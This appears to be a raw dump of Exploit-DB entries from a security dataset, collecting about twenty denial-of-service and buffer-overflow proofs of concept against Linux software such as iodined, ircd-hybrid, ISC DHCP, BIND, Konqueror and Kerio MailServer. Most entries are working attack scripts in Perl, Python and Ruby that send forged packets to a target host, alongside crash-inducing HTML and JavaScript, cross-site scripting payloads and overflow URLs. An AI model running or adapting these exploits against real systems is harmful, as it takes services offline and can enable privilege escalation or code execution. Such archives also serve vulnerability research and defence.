deardaniel/secdata-raw huggingface dataset:
Exploit-DB #21580
Description: Inktomi Traffic Server 4/5 - Traffic_Manager Path Argument Buffer Overflow
Type: dos
Platform: linux
Date: 2002-06-25
Author: Juliano Rizzo

Exploit:
source: https://www.securityfocus.com/bid/5098/info

Inktomi Traffic Server is a transparent web caching application. It is designed for use with Unix and Linux variants as well as Microsoft Windows operating environments.

A buffer overflow vulnerability has been reported in the Inktomi Traffic Server. The vulnerability occurs in the traffic_manager binary included with Inktomi Traffic Server.

Reportedly, executing traffic_manager with an excessively long commandline argument will cause the buffer overflow condition. As traffic_manager is a setuid root binary, it is possible for a remote attacker to obtain root, or superuser, privileges on a compromised system. 

traffic_manager -path `perl -e 'print "A"x1720'` <
Exploit-DB #8544
Description: iodined 0.4.2-2 - forged DNS packet Denial of Service
Type: dos
Platform: linux
Date: 2009-04-27
Author: Albert Sellares

Exploit:
#!/usr/bin/perl

# iodined <= 0.4.2 DoS exploit
#
# by Albert Sellares <whats[at]wekk[dot]net> 
# http://www.wekk.net
# 2009-04-26
#
# This exploit shuts down the iodined daemon using a forged DNS packet.
# It works on the last debian stable version (0.4.2-2).
#
# It produces a segmentation fault on the daemon side.

use IO::Socket;
use strict;

my $pkt_header = "\x00\x01\x01\x00\x00\x01\x00\x00\x00\x00\x00\x01\x0b\x56\x63\x61\x61\x61\x69\x61\x71\x61\x61\x64";
my $pkt_footer = "\x00\x00\x0a\x00\x01\x00\x00\x29\x10\x00\x00\x00\x80\x00\x00\x00";

if ($#ARGV != 1) {
    print "shoot-iodined <= 0.4.2 - <whats[\@t]wekk.net>\n".
          "=============================================\n".
          "Usage: ./shoot-iodined host domain\n".
          " * host: Host addr where iodined is listening\n".
          " * domain: Domain that iodined is using\n";
    exit 1;
}

my $host = $ARGV[0];
my $domain = $ARGV[1];
my $template = 'a24';
my @pkt;;
my $l;

push(@pkt, $pkt_header);
my @chunk = split(/\./, $domain);

foreach (@chunk) {
    $l = length $_;
    $template = $template . 'Ca'. $l;
    push(@pkt, $l);
    push(@pkt, $_);
}
$template = $template . 'a16';
push(@pkt, $pkt_footer);

$| = 1;
print " [*] Shooting iodined at host $host...\n";

my $sock = IO::Socket::INET->new(  Proto     => 'udp',
                                   PeerPort  => 53,
                                   PeerAddr  => $host) or die "Creating socket: $!\n";

$sock->send(pack($template, @pkt)) or die "send: $!";

print " [*] If the domain was ok, now the service is down.\n";

# milw0rm.com [2009-04-27]
Exploit-DB #24951
Description: ircd-hybrid 8.0.5 - Denial of Service
Type: dos
Platform: linux
Date: 2013-04-12
Author: kingcope

Exploit:
#!/usr/bin/perl
# ircd-hybrid remote denial of service exploit for CVE-2013-0238
# quick and dirty h4x by kingcope
# tested against ircd-hybrid-8.0.5 centos6
# please modify below in case of buggy code.
# enjoy!

use Socket;

srand(time());
$exploiting_nick = "hybExpl" . int(rand(10000));
    
sub connecttoserver()
{
 $bool = "yes";
 $iaddr = inet_aton($ircserver) || die("Failed to find host: $ircserver");
 $paddr = sockaddr_in($ircport, $iaddr);
 $proto = getprotobyname('tcp');
 socket(SOCK1, PF_INET, SOCK_STREAM, $proto) || die("Failed to open socket:$!");
 connect(SOCK1, $paddr) || {$bool = "no"};
}

sub usage() {
 
 print "usage: ircd-hybrid.pl <target> <port>\r\n";
 exit;
}

$| = 1;
print "----------------------------------------------------------------------\r\nLets have fun!\r\n";
print "----------------------------------------------------------------------\r\n";

if (!defined($ARGV[1])) {
 usage(); 
}

$ircport = $ARGV[1];
$ircserver = $ARGV[0];

print "Connecting to $ircserver on port $ircport...\n";

connecttoserver();

if ($bool eq "no")
{
 print "Connection refused.\r\n";
 exit(0);
}

send(SOCK1,"NICK $exploiting_nick\r\n",0);
send(SOCK1,"USER $exploiting_nick \"yahoo.com\" \"eu.hax.net\" :$exploiting_nick\r\n",0);

while (<SOCK1>) { 
 $line = $_;
 print $line;
 if ((index $line, " 005 ") ne -1) {
  goto logged_in; 
 }
 
 if ((index $line, "PING") ne -1) {
  substr($line,1,1,"O");
  send(SOCK1, $line, 0); 
 }
}

logged_in:

print " ok\r\n"; 

print "Sending buffers...\r\n";
$channelr = int(rand(10000));
send(SOCK1, "JOIN #h4xchan$channelr\r\n", 0);
sleep(1);
$k = 0;
do {
print $_;
$k++;
$crashnum = -1000009 - $k * 1000;
send(SOCK1, "MODE #h4xchan$channelr +b *!*\@127.0.0.1/$crashnum\r\n", 0);
} while(<SOCK1>);
 
print "done\r\n";

# EOF
Exploit-DB #33041
Description: Irssi 0.8.13 - 'WALLOPS' Message Off-by-One Heap Memory Corruption
Type: dos
Platform: linux
Date: 2009-05-15
Author: nemo

Exploit:
source: https://www.securityfocus.com/bid/35399/info

Irssi is prone to an off-by-one, heap-based, memory-corruption vulnerability because it fails to properly bounds-check user-supplied data before copying it into a memory buffer.

Attackers can exploit this issue to crash the vulnerable client, resulting in a denial-of-service condition. Given the nature of this issue, attackers may also be able to run arbitrary code within the context of the vulnerable application, but this has not been confirmed.

Iirssi 0.8.13 is vulnerable; other versions may also be affected. 

The following example IRC command is available; please see the references for more information.

: WALLOPS \001ACTION
Exploit-DB #20388
Description: ISC BIND 8.2.2-P5 - Denial of Service
Type: dos
Platform: linux
Date: 2000-11-01
Author: Fabio Pietrosanti

Exploit:
source: https://www.securityfocus.com/bid/1923/info

BIND is the Berkeley Internet Name Daemon, a free Name Resolution software package maintained by the Internet Software Consortium. A Denial of Service exists in current implementations.

The problem occurs in the Compressed Zone Transfer (ZXFR) functionality of BIND. A default installation of BIND does not support the transfer of compressed zone files. However, daemon that allows zone transfers and recursive queries will crash if queried for a compressed zone transfer that is not in the nameserver cache. This could result in a name resolution Denial of Service for all users and systems depending upon nameservers using the affected software.

named-xfer -z zone.pippo.com -d 9 -f pics -Z dns.pippo.com
Exploit-DB #37538
Description: ISC DHCP 4.x - Multiple Denial of Service Vulnerabilities
Type: dos
Platform: linux
Date: 2012-07-25
Author: Markus Hietava

Exploit:
source: https://www.securityfocus.com/bid/54665/info

ISC DHCP is prone to multiple denial-of-service vulnerabilities.

An attacker can exploit these issues to cause the affected application to crash, resulting in a denial-of-service condition. 

#!/usr/bin/python
'''
    SC DHCP 4.1.2 <> 4.2.4 and 4.1-ESV <> 4.1-ESV-R6 remote denial of
    service(infinite loop and CPU consumption/chew) via zero'ed client name length
 
http://www.k1p0d.com
 
'''
 
import socket
import getopt
from sys import argv
 
def main():
    args = argv[1:]
    try:
        args, useless = getopt.getopt(args, 'p:h:')
        args = dict(args)
        args['-p']
        args['-h']
    except:
        usage(argv[0])
        exit(-1)
 
    dhcp_req_packet = ('\x01\x01\x06\x00\x40\x00\x03\x6f'
    '\x00\x00\x00\x00\x00\x00\x00\x00'
    '\x00\x00\x00\x00\x00\x00\x00\x00'
    '\x00\x00\x00\x00\x00\x22\x5f\xae'
    '\xa7\xdf\x00\x00\x00\x00\x00\x00'
    '\x00\x00\x00\x00\x00\x00\x00\x00'
    '\x00\x00\x00\x00\x00\x00\x00\x00'
    '\x00\x00\x00\x00\x00\x00\x00\x00'
    '\x00\x00\x00\x00\x00\x00\x00\x00'
    '\x00\x00\x00\x00\x00\x00\x00\x00'
    '\x00\x00\x00\x00\x00\x00\x00\x00'
    '\x00\x00\x00\x00\x00\x00\x00\x00'
    '\x00\x00\x00\x00\x00\x00\x00\x00'
    '\x00\x00\x00\x00\x00\x00\x00\x00'
    '\x00\x00\x00\x00\x00\x00\x00\x00'
    '\x00\x00\x00\x00\x00\x00\x00\x00'
    '\x00\x00\x00\x00\x00\x00\x00\x00'
    '\x00\x00\x00\x00\x00\x00\x00\x00'
    '\x00\x00\x00\x00\x00\x00\x00\x00'
    '\x00\x00\x00\x00\x00\x00\x00\x00'
    '\x00\x00\x00\x00\x00\x00\x00\x00'
    '\x00\x00\x00\x00\x00\x00\x00\x00'
    '\x00\x00\x00\x00\x00\x00\x00\x00'
    '\x00\x00\x00\x00\x00\x00\x00\x00'
    '\x00\x00\x00\x00\x00\x00\x00\x00'
    '\x00\x00\x00\x00\x00\x00\x00\x00'
    '\x00\x00\x00\x00\x00\x00\x00\x00'
    '\x00\x00\x00\x00\x00\x00\x00\x00'
    '\x00\x00\x00\x00\x00\x00\x00\x00'
    '\x00\x00\x00\x00\x63\x82\x53\x63'
    '\x35\x01\x03\x32\x04\x0a\x00\x00'
    '\x01\x0c\x00'
    '\x37\x0d\x01\x1c\x02\x03\x0f'
    '\x06\x77\x0c\x2c\x2f\x1a\x79\x2a'
    '\xff\x00\x00\x00\x00\x00\x00\x00'
    '\x00\x00\x00\x00\x00\x00\x00\x00'
    '\x00\x00\x00\x00\x00\x00\x00\x00'
    '\x00\x00\x00\x00')
 
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    sock.connect((args['-h'], int(args['-p'])))
    sock.sendall(dhcp_req_packet)
    print 'Packet sent'
    sock.close()
 
def usage(pyname):
    print '''
    Usage: %s -h <host> -p <port>
''' % pyname
 
if __name__ == "__main__":
    main()
Exploit-DB #39939
Description: iSQL 1.0 - 'isql_main.c' Buffer Overflow (PoC)
Type: dos
Platform: linux
Date: 2016-06-13
Author: HaHwul

Exploit:
#!/bin/ruby
# Exploit Title: iSQL(RL) 1.0 - Buffer Overflow(isql_main.c)
# Date: 2016-06-13
# Exploit Author: HaHwul
# Exploit Author Blog: www.hahwul.com
# Vendor Homepage: https://github.com/roselone/iSQL
# Software Link: https://github.com/roselone/iSQL/archive/master.zip
# Version: 1.0
# Tested on: Debian [wheezy]
# CVE : none
=begin
### Vulnerability Point
 :: [isql_main.c 453 line] strcpy((char *)cmd+5,str); code is vulnerable
 :: don't check str size
446 char *get_MD5(char *str){
447         FILE *stream;
448         char *buf=malloc(sizeof(char)*33);
449         char cmd[100];
450         memset(buf,'\0',sizeof(buf));
451         memset(cmd,'\0',sizeof(cmd));
452         strcpy(cmd,"echo "); //5
453         strcpy((char *)cmd+5,str);

Edit makefile > CFLAGS = -fno-stack-protector
#> make

### gdb history
(gdb) r
Starting program: /home/noon/Noon/LAB/exploit/vuln_test/iSQL/isql

*************** welcome to ISQL ****************
* version 1.0                                  *
* Designed by RL                               *
* Copyright (c) 2011, RL. All rights reserved  *
************************************************

>username: hwul_test
>[CREDENTIAL_REDACTED]...  ("A" * 800)
Program received signal SIGSEGV, Segmentation fault.AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0x[PII_REDACTED]40644c in get_MD5 ()

(gdb) x/s $rax
0x[PII_REDACTED]414141:     <error: Cannot access memory at address 0x[PII_REDACTED]414141>

(gdb) x/s $rbp
0x[PII_REDACTED]414141:     <error: Cannot access memory at address 0x[PII_REDACTED]414141>

### Registers
(gdb) i r
rax            0x[PII_REDACTED]414141      [PII_REDACTED]474983745
rbx            0x0      0
rcx            0x7ffff7b06480  [PII_REDACTED]20448
rdx            0x0      0
rsi            0x60b[PII_REDACTED]
rdi            0x5      5
rbp            0x[PII_REDACTED]414141       0x[PII_REDACTED]414141
rsp            0x7fffffffe948   0x7fffffffe948
r8             0xffffffff      [PII_REDACTED]
r9             0x0    
=end
puts "iSQL 1.0 - Buffer Overflow"
puts " - by hahwul"
puts " - Run BUG.."
buffer = "A"*800 
system("(sleep 5; echo -en 'hwul\n';sleep 1;echo -en 'asdf;#{buffer};echo 1';sleep 10) | ./isql")
Exploit-DB #8205
Description: JDKChat 1.5 - Remote Integer Overflow (PoC)
Type: dos
Platform: linux
Date: 2009-03-12
Author: n3tpr0b3

Exploit:
#!/usr/bin/perl
#
# Title: JDKChat v1.5 Remote Integer Overflow PoC
#
# Summary: JDKChat is a simple C++ chat server for GNU/Linux systems. 
# Users can connect to it through a simple tcp client like telnet.
#
# WebSite : http://www.jdkoftinoff.com/	
#
# ---------------------------- Demo ---------------------------------
# aleks@tux ~ $ telnet 192.168.0.1 7777
# Trying 192.168.0.1...
# Connected to 192.168.0.1.
# Escape character is '^]'.
# Welcome To jdkchat v1.5 by J.D. Koftinoff Software, Ltd.
# http://www.jdkoftinoff.com/
# and modified by Aditya Godbole (urwithaditya@gmx.net)
# Commands available:
#    /who  --  (list all users along with their connection numbers)
#    /exit  -- (exit chat room)
#    /local -- (toggle local mode for your telnet session)
#    /[connection number] message -- (send private message to user at 
#                                     specified connection number) 
#
#
#    JDKCHAT: Aleks just entered the room.
#    JDKCHAT: Users = Aleks:0 
# Aleks >
#
#
# // And after we run the PoC :
#
#    JDKCHAT: PwNzOr just entered the room.
# Aleks >Connection closed by foreign host.
# aleks@tux ~ $ 
#
# ---------------------------- /Demo --------------------------------
# 
# 
# Vulnerability discovered by n3tpr0b3 & LiquidWorm
#
# n3tpr0b3 [AT] gmail [.] com
#
# 12.03.2009
#

use IO::Socket;

if ($#ARGV != 1) {
		print "
		       JDKChat v1.5 Remote Integer Overflow PoC By n3tpr0b3
		       =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
		       #        Usage : jdkchat_poc.pl SrvIP SrvPort      #
		       #               Greetz to LiquidWorm               #
		       =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-\n\n";
		exit;
}

my $dupsa = new IO::Socket::INET (
				PeerAddr => "$ARGV[0]",
				PeerPort => "$ARGV[1]",
				Proto => "tcp"
		) 
		or die "Could not connect to $ARGV[0]: $!\n";

sleep 1;
print $dupsa "\x50\x77\x4e\x7a\x4f\x72\x0d";
print "#--> Loged on t3h JDKChat server...\n";
sleep 1;
print "#--> Sending our evil command...   \n";
sleep 2;
print $dupsa "\x2f\x2d\x31\x0d";
close($dupsa);
print "#--> Server pwned...               \n";

# milw0rm.com [2009-03-12]
Exploit-DB #22560
Description: KDE Konqueror 3.0.3 - Malformed HTML Page Denial of Service
Type: dos
Platform: linux
Date: 2003-05-02
Author: Joachim_Strombergson

Exploit:
source: https://www.securityfocus.com/bid/7486/info

KDE Konqueror has been reported prone to a denial of service vulnerability when rendering a HTML page that contains malformed data.

Although unconfirmed, code execution may be possible.

The precise technical details of this vulnerability are currently unknown. This BID will be updated, as further information is available. 

perl -e "print qq'\xFF\xFE'; print qq'\r\r\n' x 30000" > freeze.htm
Exploit-DB #29713
Description: KDE Konqueror 3.5 - JavaScript IFrame Denial of Service
Type: dos
Platform: linux
Date: 2007-03-05
Author: mark

Exploit:
source: https://www.securityfocus.com/bid/22814/info

KDE Konqueror is prone to a remote denial-of-service vulnerability because of an error in KDE's JavaScript implementation.

An attacker may exploit this vulnerability to cause Konquerer to crash, resulting in denial-of-service conditions.

Konqueror included with KDE version 3.5.5 is vulnerable; other versions may also be affected. 

<html>
<body>

Demo of how to make Konqueror 3.5.5 crash by mark@bindshell.net.<p>
Simply load this file in Konqueror.  Vulnerable versions should segfault instantly with a null pointer exception.<p>
<p>

<script>
read_iframe = function(iframe_name) {
	var banner = document.getElementById(iframe_name).contentWindow.document.body.innerHTML;
	alert(banner);
}

var iframe = document.createElement("IFRAME");
iframe.setAttribute("src", 'ftp://localhost/anything');
iframe.setAttribute("name", 'myiframe');
iframe.setAttribute("id", 'myiframe');
iframe.setAttribute("onload", 'read_iframe("myiframe")');
iframe.style.width = "100px";
iframe.style.height = "100px";
	
document.body.appendChild(iframe);

</script>
</body>
</html>
Exploit-DB #30763
Description: KDE Konqueror 3.5.6 - Cookie Handling Denial of Service
Type: dos
Platform: linux
Date: 2007-11-14
Author: laurent gaffie

Exploit:
source: https://www.securityfocus.com/bid/26435/info

KDE Konqueror is prone to a remote denial-of-service vulnerability because it fails to handle overly large cookies.

An attacker may exploit this vulnerability to cause Konqueror to crash, resulting in denial-of-service conditions.

Konqueror 3.5.6 is vulnerable; other versions may also be affected.

<?php
ini_set("memory_limit","200M");
setcookie("hi_fox", str_repeat("A",19999999));
?>
Exploit-DB #30444
Description: KDE Konqueror 3.5.7 - Assert Denial of Service
Type: dos
Platform: linux
Date: 2007-03-05
Author: Thomas Waldegger

Exploit:
source: https://www.securityfocus.com/bid/25170/info

KDE Konqueror is prone to a remote denial-of-service vulnerability because it fails to handle improperly formated HTML code.

An attacker may exploit this vulnerability to cause Konqueror to crash, resulting in denial-of-service conditions.

Konqueror 3.5.7 and prior versions are reported vulnerable. 


 <textarea></button>&lt;/textarea&gt;</br><bdo dir="">
 <pre><frameset>
  <a>
Exploit-DB #32471
Description: KDE Konqueror 3.5.9 - JavaScript 'load' Denial of Service
Type: dos
Platform: linux
Date: 2008-10-10
Author: Jeremy Brown

Exploit:
source: https://www.securityfocus.com/bid/31696/info

KDE Konqueror is prone to a remote denial-of-service vulnerability because it fails to handle specially crafted JavaScript code.

An attacker may exploit this vulnerability to cause Konqueror to crash, resulting in denial-of-service conditions.

The issue affects Konqueror 3.5.9; other versions may also be affected. 

<!--- Jeremy Brown [0xjbrown41@gmail.com/http://jbrownsec.blogspot.com] Tested on Ubuntu 8.04 + Konqueror 3.5.9 A product of my fuzzing projects :) --> <html> <script type="text/javascript"> document.load(''); </script> </html>
Exploit-DB #28220
Description: KDE Konqueror 3.5.x - ReplaceChild Denial of Service
Type: dos
Platform: linux
Date: 2006-07-14
Author: hdm

Exploit:
source: https://www.securityfocus.com/bid/18978/info

KDE Konqueror is prone to a denial-of-service vulnerability.

This issue is triggered when an attacker convinces a victim user to visit a malicious website.

Remote attackers may exploit this issue to crash Konqueror, effectively denying service to legitimate users.

document.replaceChild(0);
Exploit-DB #32696
Description: KDE Konqueror 4.1 - Multiple Cross-Site Scripting / Denial of Service Vulnerabilities
Type: dos
Platform: linux
Date: 2009-01-02
Author: athos

Exploit:
source: https://www.securityfocus.com/bid/33085/info

KDE Konqueror is prone to multiple cross-site scripting vulnerabilities and multiple denial-of-service vulnerabilities because the application fails to sufficiently sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site, steal cookie-based authentication credentials, or cause the affected browser to crash.

KDE Konqueror 4.1 is vulnerable; other versions may also be affected.

applications:/<a href="javascript:alert(1)">Here</a>
trash:/<a href="javascript:alert(1)">Here</a>       
remote:/<a href="javascript:alert(1)">Here</a>      
applications:/<font size="8">THE GAME</font>        
applications:/<iframe src="http://milw0rm.com">                          
remote://crash:konqueror@                           
applications://crash:konqueror@
Exploit-DB #2954
Description: KDE libkhtml 3.5 < 4.2.0 - Unhandled HTML Parse Exception
Type: dos
Platform: linux
Date: 2006-12-19
Author: Federico L. Bossi Bonin

Exploit:
<!--
KDE 3.5 | libkhtml <= 4.2.0 / Unhandled HTML Parse Exception
============================================================

Tested with Konqueror 3.5.2 and kmail 1.9.1

Federico L. Bossi Bonin
fbossi@globalst.com.ar
www.globalst.com.ar

Program received signal SIGSEGV, Segmentation fault.
0xb64d81ff in DOM::Node::nodeType () from /usr/kde/3.5/lib/libkhtml.so.4

#0  0xb64d81ff in DOM::Node::nodeType () from /usr/kde/3.5/lib/libkhtml.so.4
#1  0xb64419e4 in QPtrDict<void>::count () from /usr/kde/3.5/lib/libkhtml.so.4
#2  0xb64b0550 in TestFunctionImp::~TestFunctionImp () from /usr/kde/3.5/lib/libkhtml.so.4
#3  0xb64b43a2 in TestFunctionImp::~TestFunctionImp () from /usr/kde/3.5/lib/libkhtml.so.4
#4  0xb63329d5 in DOM::RegisteredListenerList::getHTMLEventListener () from /usr/kde/3.5/lib/libkhtml.so.4
#5  0xbf86ae90 in ?? ()
#6  0x00000001 in ?? ()
#7  0xb736f8ec in ?? () from /usr/qt/3/lib/libqt-mt.so.3
#8  0xb71e36f9 in qt_check_pointer () from /usr/qt/3/lib/libqt-mt.so.3
Previous frame inner to this frame (corrupt stack?)

CRASH CODE:
===========
-->

<HTML>
<HEAD>
<RANGE <COL SPAN <>>
<FRAMESET onload >
</HEAD>
</HTML>

# milw0rm.com [2006-12-19]
Exploit-DB #29296
Description: KDE LibkHTML 4.2 - NodeType Function Denial of Service
Type: dos
Platform: linux
Date: 2006-12-19
Author: Federico L. Bossi Bonin

Exploit:
source: https://www.securityfocus.com/bid/21662/info

KDE libkhtml is prone to a denial-of-service vulnerability.

This issue is triggered when an attacker convinces a victim user to open a malicious HTML document via an affected application such as kmail or Konqueror. 

Remote attackers may exploit this issue to crash applications that use the affected library, effectively denying service to legitimate users.

<HTML> <HEAD> <RANGE <COL SPAN <>> <FRAMESET onload > </HEAD> </HTML>
Exploit-DB #22801
Description: Kerio MailServer 5.6.3 add_acl Module - Overflow
Type: dos
Platform: linux
Date: 2003-06-18
Author: David F.Madrid

Exploit:
source: https://www.securityfocus.com/bid/7967/info
 
Multiple buffer overrun vulnerabilities have been discovered in Kerio MailServer, which affect the webmail component. The problem occurs when handling usernames of excessive length and likely occurs due to insufficient bounds checking. Due to the similarity of these issues it has been conjectured that the root of the problem may be a single function used to handle all affected procedures.
 
Successful exploitation of this vulnerability could potentially result in the execution of arbitrary code, with the privileges of the Kerio MailServer process. 

http://[server]/add_acl?folder=~AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@
localhost/INBOX&add_name=lucas
Exploit-DB #22803
Description: Kerio MailServer 5.6.3 do_map Module - Overflow
Type: dos
Platform: linux
Date: 2003-06-18
Author: David F.Madrid

Exploit:
source: https://www.securityfocus.com/bid/7967/info
   
Multiple buffer overrun vulnerabilities have been discovered in Kerio MailServer, which affect the webmail component. The problem occurs when handling usernames of excessive length and likely occurs due to insufficient bounds checking. Due to the similarity of these issues it has been conjectured that the root of the problem may be a single function used to handle all affected procedures.
   
Successful exploitation of this vulnerability could potentially result in the execution of arbitrary code, with the privileges of the Kerio MailServer process.

http://[Server]/do_map?
action=new&oldalias=eso&alias=aaa&folder=public&user=AAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAA